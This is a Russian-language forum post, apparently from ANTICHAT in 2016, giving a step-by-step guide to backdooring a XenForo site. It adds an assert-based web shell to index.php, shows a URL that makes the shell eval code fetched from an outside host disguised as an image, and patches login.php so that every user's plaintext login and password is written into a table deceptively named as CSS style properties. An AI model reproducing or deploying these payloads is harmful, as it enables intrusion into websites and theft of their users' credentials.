Избавляемся от Хеширования [Xenforo]

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

25.01.2016, 20:03

pw0ned

Guest

Сообщений: n/a

Провел на форуме:
33728

Репутация: 14

Используем "WSO Web Shel"

Отправляемся к файлу index.php , и дописываем вредоносный код:

Код:

Code:
if (isset($_REQUEST['l']))
assert(stripslashes($_REQUEST[l]));

Вызываем скрипт и получаем доступ к RemoteShell:

Код:

Code:
http://www.ru/index.php?l=eval(file_get_contents(%27http://www.ru/screen.png%27))#

Отсеиваем логин и пасс из файлов с ФТП , создаем базу данных

Код:

Code:
create table xf_style_property_css (
ID int(20) AUTO_INCREMENT,
CSSName varchar(50) NOT NULL,
CSSValue varchar(50) NOT NULL,
PRIMARY KEY (ID)
);

Находим в файле login.php строки:

Дописываем код:

Код:

Code:
$DataBaseConnector = mysql_connect('localhost', 'Имя БД', 'Пароль от БД');
        mysql_select_db('Имя БД');
        mysql_query("SET NAMES 'utf8'");
        $datalogxf = $data['login'];
        $datapassxf = $data['password'];
        mysql_query("INSERT INTO `xf_style_property_css` (`ID`, `CSSName`, `CSSValue`) VALUES ('', '$datalogxf', '$datapassxf') ", $DataBaseConnector);

После всех выше описанных функций , каждый авторизованный пользователь будет внесен в наш раздел с базой ( который создали выше ).

Выполняем команду получения списка: (Сейчас он пустой )

Код:

Code:
SELECT * FROM `xf_style_property_css`